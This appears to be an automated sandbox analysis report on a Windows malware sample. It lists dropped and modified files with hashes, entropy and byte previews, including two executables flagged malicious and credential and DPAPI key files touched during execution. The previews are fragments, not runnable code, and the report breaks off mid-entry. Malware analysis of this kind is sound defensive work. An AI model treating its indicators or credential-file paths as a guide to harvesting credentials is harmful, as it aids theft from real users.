MD5:	1BFE591A4FE3D91B03CDF26EAACD8F89
SHA1:	719C37C320F518AC168C86723724891950911CEA
SHA-256:	9CF94355051BF0F4A45724CA20D1CC02F76371B963AB7D1E38BD8997737B13D8
SHA-512:	02F88DA4B610678C31664609BCFA9D61DB8D0B0617649981AF948F670F41A6207B4EC19FECCE7385A24E0C609CBBF3F2B79A8ACAF09A03C2C432CC4DCE75E9DB
Malicious:	false
Preview:	MSCF............,...................O.................2Wqh .disallowedcert.stl....^K...CK.wTS...:.w.K'.C0T.....Bh.{....C.)......Y@...(..).R."E..D^6........u....\|f~3...o.3. ..SPK.k.o#...."{-.U..P........:..aPr.@.d......Dy.h.....)..:...!./\A.....A<I_<$...q.h..........'.....7....H...@`T..K.S.%...Y4..R.....`.....-....D...(..b..-c."...G.=.dx..S+..2.a.E....d.L...77J...c.[..@..iT&..^78..g....NW6.Ek..FY.F........cNt.O...R..........D...... k........J.y...z.d...;.9_t...].@....yw..}.x....d.t..`f\K..;\|.h.X...4/.;.xT......q>.0...<...3...X..L$.&.,b.....\V....\......G..O..@..H3.....t..J..).x.?.{[..G>.7...<...^Q..z..Gw9P..d....i].n%K}.z..2.Py...A..s...z..@...4..........4.....Y.d..._Z.5.s..fl.C..#.K{9^.E...k..z.Ma..G.(.....5g. ...}.t.#4....$;.,....S@fs....k......u .^2.#_...I........;.......w..P...UCY...$;.S._\|.x..dK...[i..q..^.l..A.?.....'N.. .L.l......m.*.+f#]............A.;.....Z..rIt....RW....Kr1e=8.=.z:Oi.z.d..r..C_......o...]j.N;.s....3@3.dgrv.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\FB0D848F74F70BB2EAA93746D24D9749

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 7796 bytes, 1 file, at 0x2c +A "pinrules.stl", number 1, 1 datablock, 0x1 compression
Category:	dropped
Size (bytes):	7796
Entropy (8bit):	7.971943145771426
Encrypted:	false
SSDEEP:	192:CPTIWKvNnUBBBL05O/b0evl2G6AXK+KMlYX82:CbevNUBDLlz0eN2dAXlKH
MD5:	FB60E1AFE48764E6BF78719C07813D32
SHA1:	A1DC74EF8495C9A1489DD937659B5C2875027E16
SHA-256:	EBF3E7290B8FD1E5509CAA69335251F22B61BAF3F9FF87B4E8544F3C1FEA279D
SHA-512:	92BAA53445EC1A6EC049AF875783619D255AB4A46241B456BD87AE0043C117740BD117406E2CF5440840C68D0C573CBA7B40F58587CE7796D254D0B06E9B7973
Malicious:	false
Preview:	MSCF....t.......,...................I........E.........J.R .pinrules.stl..>N.#..ECK.[.T...O......l.$.)V.a...v.d.H...&.D.YA,(+Y...A.......c]."ka-.XW..I.....w..\|..9.........{...\|d..v.T..w.TMZ.\|...).F.rtAm.....f......T........n.z.:.t&.} EH.S.)2...SP.../~.Q..d..".@.5..r(..M.Zs..~{...>...p.p.^....[/p..~.....@......f..E0....9.i...Ds..^.d...N.R@..P%..9... .4Z)...z..h...@.......C<.]6....([.c=.9..l.....@..4......f.......z.!..0.`Jp.."$I..?`......H...].2...$....9v1./g.&.aIX.A..A.w..p.*.`r.........'!e.. ..d...H.d.hu`.\!w.Z..E.$....$..\|1..@.OC!c.......%.....p.uxC.~@....`...#.~ .P.!.Gb`)i...L..0.-.K.....xRx.e"..@.....5T..JP^.9.....#aH.E.@2..H..f.H..K...+x..$.WM..H}....=....`.PD:.qgn........I.....]uX..q...D...]n.4..0..b!.....m"a.Lz...d..S%P.I11,..^..".+At..To\@K.....c.h.C.....=...H.Xa...r.A.I..@!..0..eV...\|.h..$."r..hL9TR..}.v%...4).H..[.....r..\|]..+5..Y..I..hN...O=u..8.}U...#S...R..KQ..A..w....X\|.....8b...GC.4..h....6gG.>..}.8....!ql..A..1..X.C.q.j....

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.8110300700394646
Encrypted:	false
SSDEEP:	6:kK/NxSwfsJhN+SkQlPlEGYRMY9z+s3Ql2DUe/:/7kPlE99SCQl2DUe/
MD5:	AB61BC675E520E260B10588D2BFC0DBD
SHA1:	A89A4B126BD06738EB1C9C3DC766A067B6AB72E3
SHA-256:	18EE09D2AFB14E49A17EFF4C8B640B2BEBB4F5C4398A2D9605A86DD132E83708
SHA-512:	7D07B0FA6AC8EF67C64C362679976D99ACB78AA7F05A6B2E9B986C9BB7EEB44A8D3929A36CC0607D4C597869125621801BED92038826E8F8C6702F6DCD1D3110
Malicious:	false
Preview:	p...... ........<P=y....(...............<P=y....<..i...<...X...........<..i... .........p.........................h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.d.i.s.a.l.l.o.w.e.d.c.e.r.t.s.t.l...c.a.b...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	modified
Size (bytes):	290
Entropy (8bit):	3.825820525451351
Encrypted:	false
SSDEEP:	6:kKysRoWdMb+XFVDjYEs8uSUN+SkQlPlEGYRMY9z+4D1QuflIe/:3Mb+XjUEXkPlE99Si1QyIe/
MD5:	9A74601A7D7AE27D4C970BE78F811EF0
SHA1:	4745EA698203A82F6C6BCFEA4D8A1280C64EF36A
SHA-256:	3DEA9C703D4E289B0D05A6F439A3F97929A6391A43F1282600173352C062BF2B
SHA-512:	C6636151B101A052A63EBCCD596D91B6FFD3271E4EFB96F15D0A44D76ECCFE7345E0F8702D72C827BAEC08C6CE0F380D34E37526CD9604BE29F63C7F1C18C2DC
Malicious:	false
Preview:	p...... ..........5.....(........................u..i.....v.X............u..i... ........B@!....................t...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.p.i.n.r.u.l.e.s.s.t.l...c.a.b...

C:\Users\user\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D

Download File

Process:	C:\Windows\System32\lsass.exe
File Type:	data
Category:	modified
Size (bytes):	11152
Entropy (8bit):	7.972796460501386
Encrypted:	false
SSDEEP:	192:p/4TmJ6disGipZuGasyXOJEZZTcwxCXYDkAsIviv7ISviMEQnwvJO3pzF1qyJ4Tf:pAqXGpb6rGYHikWxsO5HfJ4Tf
MD5:	52A427A42BBFD0818A5367E6B1EF77E7
SHA1:	79350A94B4E867AC768CBDF900B02DEB5E0C0C59
SHA-256:	E2C25CD987145AC52B1AC6F06750237CBB8CDB84CBDABF74B493704182C93AFA
SHA-512:	2D7EB5CF609BE3E8D9533E08D111B2335213987D3DF4B5EC2C52A3D9279847B12D0ED2B1FAB6BFE0A3A3633C941EE33DF9BC55D172234C1D29F4F83C39837376
Malicious:	false
Preview:	.....+..................z..O..........9e.D.j...h..... 0...L.o.c.a.l. .C.r.e.d.e.n.t.i.a.l. .D.a.t.a........f...... ...Vj3.U..",[l3.\..v..r.e=.................... ..../......Y8Q.o....K..VLu.}...........~4..~].$./..0.....3...a.;^.:.....h!...:.I.d~Y.P.H7...f.......^...}Qa.+.E..._`......-..w.....Bq.C..$....0...F.....&4..U....@+.[$...I..\..U.S.._.?.wQ......-...9(.....7....3.m.hd;W..P...oLOd^.{c./....s~....0...\.....%..".h!....f.w.F.1.H.l.a3.......U....l.Cr7H..2......W.R0......M...9x..w.r....Ig1.m.C..`.\.k&..A!..U.qr.A...?2.Gm.............:W...Ee......M.....P.$..Y..KC.d.1..A...-OrQN9H..Z...m...j.H.W.. .i}...mFO-L..zd..#....j.....@.q~..Q...Z{..N....#.W.\|..Ny+.."...m%\h...P.y.-..+..."i....u...Z..'zI4w....1Wr.4..t#...W..:..j~.}E....y.5+.B.uu......d..ev."mT..w......3...;.#n....o@.....xd.........Ap~..<l.w....r.. 0ZR.j.g....Q~.~..-.v..n.].7F...#........eWj......../.`.8+....Z.\...q-"..^..m......L0U2.&}Vj....I.V...1mU...Z`BH. ......t......QG..O{^.As.

C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-2246122658-3693405117-2476756634-1003\Preferred

Download File

Process:	C:\Windows\System32\lsass.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	4.501629167387823
Encrypted:	false
SSDEEP:	3:xMoaBj:qoaBj
MD5:	E95CEB364BD1600750A30F77482D089D
SHA1:	025826D55E0BEBF0B6B433B32659193D5ED5A411
SHA-256:	13DA13123B9255B88D76BFD003D8936E99A400860C4B34FC111CD78F99650441
SHA-512:	A1028EEA950E2DE33554260BB1745DB3B03C781FAF7963D7255C907FBAEBE91CA4357C58630D3F682B6AD9C1FA2EB9F0446FC60E17E339DFD6364B9CF6679B4F
Malicious:	false
Preview:	....9e.D.j...h...+i.e..

C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-2246122658-3693405117-2476756634-1003\c5d68a1c-6539-448b-b76a-9bfdf868ce00

Download File

Process:	C:\Windows\System32\lsass.exe
File Type:	data
Category:	dropped
Size (bytes):	468
Entropy (8bit):	6.407805178616268
Encrypted:	false
SSDEEP:	12:brY7uyCgQn3LZTUdKszfvbuCSZ46Ej0/cABO:suQq5kfvatGdHABO
MD5:	7433783060BDAAE0C08EBA02E5CA982E
SHA1:	D409264EF420D51EB29EDEEC54E60B73BD307AB6
SHA-256:	059F6820A5CB31D76446242E1B81B77DBE54F0A5D514AADA657F689BFF03E5EE
SHA-512:	B8AFC4CC1648FDAE2BD47777E54F15DBAF781E21C71737057DE997F43169BB3FAA3F427A228D4D75AE7A6E4FDA4594F8761BC3A5AA4755933B51D3AD412B6DA8
Malicious:	false
Preview:	............c.5.d.6.8.a.1.c.-.6.5.3.9.-.4.4.8.b.-.b.7.6.a.-.9.b.f.d.f.8.6.8.c.e.0.0.................................................W.....F...Y.....@........f..n.2..G...sk.....L......\....-..$!.Z7#..h...\..kK.j......L.m..#ZI....yU..S.PN..o4Z.8...J....R...>.T..5Qe..4"..E....f..z.(.B(.......Z....L+....n\|.k...sE....'S@........f..B.).;....>nz\..].}..+w....!.8...ec8..{..~.Z.V.9In..........fs.n4%.`..{.PW^.&z..g.H..TF0.....6......./......@..1.=OL....X.k

C:\Users\user\Desktop\wzcsapi.exe

Download File

Process:	C:\Users\user\Desktop\r8k29DBraE.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	7.415585647348422
Encrypted:	false
SSDEEP:	768:sokC1JY3bft56FUqKCnhhrqIvji1QuUkJV3NksbRY4ChV:ICgLt56GCnXemi1QuLV3bbRAV
MD5:	64FFE7C0FA6AC22F5ACAFD3CEB4ACA5B
SHA1:	104182708267EE1A6DA0E9E83CB04DF83EDAE120
SHA-256:	6B5C2E9A2EF36412B2636236ADE5530C59573B51B07FE224FD980911CBB7B976
SHA-512:	F136D69BB6BE51CF7E1E6F0E4538CB951337CB278344B348E749F67A6F08C1DF01264BD3275ED9A36B776DFB1B9B75F31F8BCEC102F8B50D50913AA883B13066
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...;.Lf.................~..........N.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...T\|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................0.......H.......8................%..m^............................................(......(.....s.........s.........s.........s...........(&...b~....,.~....o0..........(U...oV...oW........r...p.....r...p.....r#..p(X.........0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0............( ...(!....+......0...........("....+....0...............(#....+....0...........($....+....0................-.(...+.+.+...+..*.0..

C:\Users\user\Desktop\wzcsvc.exe

Download File

Process:	C:\Users\user\Desktop\r8k29DBraE.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	modified
Size (bytes):	165376
Entropy (8bit):	5.879250179552107
Encrypted:	false
SSDEEP:	3072:bc28KbSCtn8Mo8G1gVziHzZbIK1YKB/pCA8tqXhwBV3yxSQig8xN:bX5bsgVziHzZnSKrC7IM
MD5:	A69C6E092D415063A9FB80F8FE4E3444
SHA1:	8B26A0FD01B1E48F7110CFFECF6BC3B9D0822E9A
SHA-256:	F7DD8D6299C108A3221C31BF33637F59F0E19703AAA88B1E3A4F1093E7209A5D
SHA-512:	4E69B49D65F68FF913AFBC991F06509645AC69850182F557CA625AD5CF92832059DDADB4AF547CFB4FD84C4B24CF55A1CE3D9D6D466112E9581908D4E4D2DA38
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Joe Sandbox View:	Filename: wzcstatus.exe, Detection: malicious, Browse
Preview:	MZ......................@.......................................sr......!..L.!This program cannot be run in DOS mode....$........K..........R.....R.........p.....p.7...p.....Rich.*..........PE..d....0f.........."....'.....f......P".........@..........................................`.................................................D8.......p..`N...`..8...................X5..8............................................0...............................text............................... ..`.rdata.......0......."..............@..@.data........P......................@....pdata..8....`.......4..............@..@.rsrc...`N...p...P...6..............@..@........................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\7415a32d-d2c0-4e8d-943e-3e817e4bf894

Download File

Process:	C:\Windows\System32\lsass.exe
File Type:	data
Category:	dropped
Size (bytes):	468
Entropy (8bit):	6.235848758957034
Encrypted:	false
SSDEEP:	12:SjIVl1102GTnsc5a98YaU9+qZup9/VJSB:SjIbpGTha98YqBA
MD5:	56F7EEEB88A200BE3FF4BAD1293F0BF8
SHA1:	B1137994999EE63E644605EFBC4DB1F0612E58FC
SHA-256:	28EB63CF7A89B6C34262D8A564E5DD9FFA355A5AAECAA6F336DCD1A64C7AA711
SHA-512:	CE7FF74D3BA7644E0171A05D27944C88328EE1F7B9D3365F9CEAC7F42E423C2A5D3EB1776F84136E9FEAAD0C48A04C8901AC846181664B9C04DA68BD514CF71A
Malicious:	false
Preview:	............7.4.1.5.a.3.2.d.-.d.2.c.0.-.4.e.8.d.-.9.4.3.e.-.3.e.8.1.7.e.4.b.f.8.9.4....................................................6j.E+.3F.bt@........f........y.r^(y..O.........._..C....o.7...#.Nv.g.......ex...R.(3U./.o........H...IS.933.....I.;...mA.?-.W.z.\.Ph@FcRQ....S....z..'.u5y$.9.........?G-..#.I7.!..y@........f...V.....<..".I..}..u..\|C.'...>(\.3..PNp=...~...........{b...+w...t.,3..A%.G.....`.e.I.....X.~...h^..E.\|6s.....................

C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\Preferred

Download File

Process:	C:\Windows\System32\lsass.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	4.334962500721157
Encrypted:	false
SSDEEP:	3:0rotZ1rn:xn
MD5:	D973DD8B7ADBDA21BA96B633841F5F63
SHA1:	CEB1B9CA94810B99C831BC3A5157507F4C895794
SHA-256:	4005C2260364E313B8E84E0588A097880882DA5883CE85DE66C01057388A3F2D
SHA-512:	23F649C4CAAF92FDCB8D9E164DB122767BF04BC316C1EB3FFD4247276C48A2A1EC6F00E654B7C59BABE76BC78FF45DE8D71137260C1459D0AFC090BC11C07C35
Malicious:	false
Preview:	-..t..N.>>.~K....!e.e..

C:\Windows\System32\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	4680
Entropy (8bit):	3.7109755968304836
Encrypted:	false
SSDEEP:	96:pYMguQII4iD6h4aGdinipV9ll7UY5HAmzQ+:9A4r/xne7HO+
MD5:	B5F9A40045F64DBC85D6B624E358B099
SHA1:	2E8F61AED6AC6EEECC5D3D534307DAB97C7F220F
SHA-256:	A7BDFB7537D14F25EF2B115809280C818C1D205565DA38B9E41F988D12262F67
SHA-512:	C5BE81044208CB67EF8184B90255BDF2C40A7432F795F7354F0DBD8BABC778F8CAD9AFB5D99D3E8E4938DE9E913A70C8A4BF65A7FC3166C96D3AAE36E382244D
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.T.a.s.k. .v.e.r.s.i.o.n.=.".1...6.". .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n.d.o.w.s./.2.0.0.4./.0.2./.m.i.t./.t.a.s.k.".>..... . .<.R.e.g.i.s.t.r.a.t.i.o.n.I.n.f.o.>..... . . . .<.S.o.u.r.c.e.>.$.(.@.%.s.y.s.t.e.m.r.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.p.p.c...d.l.l.,.-.2.0.0.).<./.S.o.u.r.c.e.>..... . . . .<.A.u.t.h.o.r.>.$.(.@.%.s.y.s.t.e.m.r.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.p.p.c...d.l.l.,.-.2.0.0.).<./.A.u.t.h.o.r.>..... . . . .<.V.e.r.s.i.o.n.>.1...0.<./.V.e.r.s.i.o.n.>..... . . . .<.D.e.s.c.r.i.p.t.i.o.n.>.$.(.@.%.s.y.s.t.e.m.r.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.p.p.c...d.l.l.,.-.2.0.1.).<./.D.e.s.c.r.i.p.t.i.o.n.>..... . . . .<.U.R.I.>.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.S.o.f.t.w.a.r.e.P.r.o.t.e.c.t.i.o.n.P.l.a.t.f.o.r.m.\.S.v.c.R.e.s.t.a.r.t.T.a.s.k.<./.U.R.I.>..... . . . .<.S.e.c.u.r.i.t.y.D.e.s.c.r.i.p.t.o.r.>.D.:.P.(.A.;.;.F.A.;.;.;.S.Y.).(.A.;.;.F.A.;.;.;.B.A.).

C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	modified
Size (bytes):	338
Entropy (8bit):	3.9473632624648336
Encrypted:	false
SSDEEP:	6:kKPPN/xSwfsJFN+SkQlPlEGYRMY9z+s3Ql2DUevat:3PNJHkPlE99SCQl2DUevat
MD5:	6941EF983D17C3A23A8F7E7B72B3A7FA
SHA1:	92CDD0FD9F56AB9B32F2F104E13911019030EFD2
SHA-256:	235D3A6D0B9825823B8CCD5B1E653F0006DDD5AB2D16FF933B6AC6619FF17029
SHA-512:	006F37DFAB762078577CD8A1B94F66B68700A0485B1C5697FBBA32320A8F89857F0969F22024AA4198E3DE970CAFF19D5F911209D3AE4824CDF6FBA77BA7F423
Malicious:	false
Preview:	p...... ...........x....(...............<P=y....<..i...<...X...........<..i... .........p.........$...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.d.i.s.a.l.l.o.w.e.d.c.e.r.t.s.t.l...c.a.b...".7.4.6.7.8.7.a.3.f.0.d.9.1.:.0."...

C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	412
Entropy (8bit):	3.947821269449896
Encrypted:	false
SSDEEP:	6:kKl+ElvXJtRMhlXlRNfOAUMivhClroFFKIhipStaHAaloq09SlsbhQ6Shlrn:sMjRamxMiv8sFFKbpgal7BlwhZg
MD5:	2BC366BE27FC83D0183010EBE49033D6
SHA1:	78F79A05C2CA7DAD133187D199D4F1F86EA4B845
SHA-256:	9AB8673DC8026093AC5F29C1073CFADFE1C53298D7A525F26F20A844FDA0B17E
SHA-512:	8B36EDED02BB3D35AC373207FBDEFCE8DED7FBBE00A341689AA4F9BA709D610F861C3983CD4356997CEBB9780761DBD20DAF9D5EAE88BB406255120504598141
Malicious:	false
Preview:	p...... ....(...."%.....(.......2..........+......b..'....................b..'.. .........*.Y... ...................h.t.t.p.:././.o.c.s.p...d.i.g.i.c.e.r.t...c.o.m./.M.F.E.w.T.z.B.N.M.E.s.w.S.T.A.J.B.g.U.r.D.g.M.C.G.g.U.A.B.B.Q.5.0.o.t.x.%.2.F.h.0.Z.t.l.%.2.B.z.8.S.i.P.I.7.w.E.W.V.x.D.l.Q.Q.U.T.i.J.U.I.B.i.V.5.u.N.u.5.g.%.2.F.6.%.2.B.r.k.S.7.Q.Y.X.j.z.k.C.E.A.p.D.q.V.C.b.A.T.U.v.i.Z.V.5.7.H.I.I.u.l.A.%.3.D...

C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	3.44091390511185
Encrypted:	false
SSDEEP:	6:kKqbN/Q8Qts8uScN+SkQlPlEGYRMY9z+4D1QuflIeyGIla1:ybyXvkPlE99Si1QyIeek
MD5:	2E035D7652D5FCDAD140D10CC564683C
SHA1:	CF00EE365FF689DCD5B360EA4AFF258A4A85AB05
SHA-256:	14417F33BD06C972F4E8752F32A8BF29EA1797CAB5D452E715503936D7C7649C
SHA-512:	677C997AEF70E89B8089C1F7D4A8DFCAC93871D01FB518D83947AC6457C537F4F44091E5A0877CC489D8712C8F2A0151D1586B5CD077F1B16BDCF8636EF84F27
Malicious:	false
Preview:	p...... ................(................................................W\|.i... ........B@!........(...........t...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.p.i.n.r.u.l.e.s.s.t.l...c.a.b...".8.0.4.2.4.0.2.1.c.7.d.b.d.2.1.:.0."...

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D

Download File

Process:	C:\Windows\System32\lsass.exe
File Type:	data
Category:	dropped
Size (bytes):	11136
Entropy (8bit):	7.976827303688481
Encrypted:	false
SSDEEP:	192:a5MLemrawF1kQrwNrtpawH5msA524XqTzs+ZkSKxUUP9Ba6CGlXze:qmr7XwVtAwH5Lekw+ZkSKxUsBa/Gde
MD5:	5A57A1597471995F12CBA668B5C4795F
SHA1:	DC6ECCC78CAA5B0A28371EC06173632E72AC627C
SHA-256:	A3A49373027B5B69CCF7BD9309906D2EBFC0351ED21E995771DCCE99D45B6C8A
SHA-512:	07923346DC9B74A79F8A25E86B1904860C7929909FA46013B1D27279D1681C561F958E60B6C13CBF42268AA24E186B1BB216843156D47824FD661EEE1D675B25
Malicious:	false
Preview:	....t+..................z..O......-..t..N.>>.~K..... 0...L.o.c.a.l. .C.r.e.d.e.n.t.i.a.l. .D.a.t.a........f...... ....w.p..(p,%Q ..{e..#2...Z=..-............ ...m'.9\...........b..\|....o+..IXp....h~.MS5H%.d...l...Hn.?Tt.........p.jG.....UV.28xr...[ C3Hl.....23ay)A.SA.........N....&8t[@O.S...>U]..I.h.6L...."Z.[...8..!...Q.\|.gD.....-~..K..@.'A...E.,.....^...W.c..&...l}./3./}6..p....S....n#.....i\.j_(..-..tN....W\|.D.....)..($=.B..E....O./+g..TI.~.$....2..d.f..V.et..!.r.g.>..0...A..2...)d......!.j....z.W..? ...}N.J]..1..1I.Ew.t.?P.Y....V6UA`G6.%F..k...w\..n..1...G.R...ZE.L+.a..y..3.^x;.-qwQ...+.^fKjO..u.a^..<..!...h......KL.../.Z.'Z-....{G......E..+..l...(...\s.=...H....E.....BM.g....HV..Q.p..4.......zp...2.WV......`.XT...sP.c......y.......x..{.h).ni._...R.\{...w$..m..+.?.pD=.N....,...vV...). ..>d.&.J......l....}&.O.%.b...:.'G._..86......[lY+&.Z .....)...I.....[.........x..A....8..c(.j...r.&+s...........C..f.N.q.T,.....M..L..Op]..

C:\Windows\System32\winevt\Logs\Application.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	75840
Entropy (8bit):	4.04400451007821
Encrypted:	false
SSDEEP:	768:fHdL+9/GHdL+9/+gZcobTgNAbP5AAKP5qf5AKP5dfvoXfSPfm4fGfuszpfn8VHd6:fpgcG3bPNKPTKP3GbzF8V4
MD5:	032702E177AB5F8EC6EA4F985967E96E
SHA1:	02AE727EC3CF0D2C1F8B8EC281A70AF29D614E77
SHA-256:	C2288455A2DCB028DE5A60DB346D14766CC63EE37B32312AB9678D0648E33132
SHA-512:	D09EDB956A79F83495DE2256924ECC44F4EE07348A006834B570347FE6E5E626FD3722F971DF33BE8C58288F2EDBE5C4380E196A69A4493F151700A3B30E09F5
Malicious:	false
Preview:	ElfChnk.................G.......H...........P...(....'......................................................................[...............................................=...........................................................................................................................c...............<...........................j...................M...Y...........................l...............v.......................................................................&...............................**..P...G.......<.au..........x..Y&.......x..Y^.GW...E\|..r........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..V............{..P.r.o.v.i.d.e.r...3....=.......K...N.a.m.e.........N.E.T. .R.u.n.t.i.m.e..A..M...w........a..E.v.e.n.t.I.D...'............)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n........

C:\Windows\System32\winevt\Logs\Microsoft-Client-Licensing-Platform%4Admin.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 3 chunks (no. 2 in use), next record no. 329, DIRTY
Category:	dropped
Size (bytes):	60248
Entropy (8bit):	4.274650822586721
Encrypted:	false
SSDEEP:	768:mVUHiapX7xadptrDT9W84Gq4dGnMltZtgc2V:5Hi6xadptrX9WP+gj
MD5:	F0AEAFBD5ED56C55EB3642E118D4A28B
SHA1:	39F8DA3F039281D87E3569813277D8E6D9DB5D8C
SHA-256:	45764D71B62D1C8D5778B1CABF316A315C5D9FD4C8E8F6BC61BAB9D731EAEC6A
SHA-512:	23563CE6EA9272CD9D6BD897816A9C1D9217B1498807952F1F0A24BAE4186B90F72AE1C8B288B7F949F72AA727C6EBE0430FAE6B58C080422377D13BE67B2CAF
Malicious:	false
Preview:	ElfFile.................I....................................................................................................2..ElfChnk.........J...............J...........h..............................................................................:`b.................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...........................m..............qo...................>...;..................**..............4.9...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppModel-Runtime%4Admin.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.396148699263237
Encrypted:	false
SSDEEP:	384:jhONk2SCNCrN0KNoBNoiNKNosaNjN4N9NRNCN8NoNjNUNONXN6N6LNvgN1NkNWzP:jgS5itAsZ2DCIEzVFNtPp
MD5:	1714E9F375BF402E9FF7644ED82EC285
SHA1:	ECB3A4495CEBE4F270C8D94553F027A36F50C42B
SHA-256:	20C6A11A8C455A4E4077CC61001BED7C0DD4E6F4FAADBCAD8DDF9A31406F1051
SHA-512:	A376B10C14E4EF653991874DE0D730768CC8D9BD49D8C348EED40CD184DA0C2AB47022B0AF6841B0F260598927C63271550A9B2C30F6A0DB1F6A3F830FC16576
Malicious:	false
Preview:	ElfChnk.v...............v...................p.......T..q......................................................................D&................4.......................\...=...........................................................................................................................f...............?...........................m...................M...F...................}.......................}.......................&...M.......M...........................}...................m...................**......v........^.`...........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeployment%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
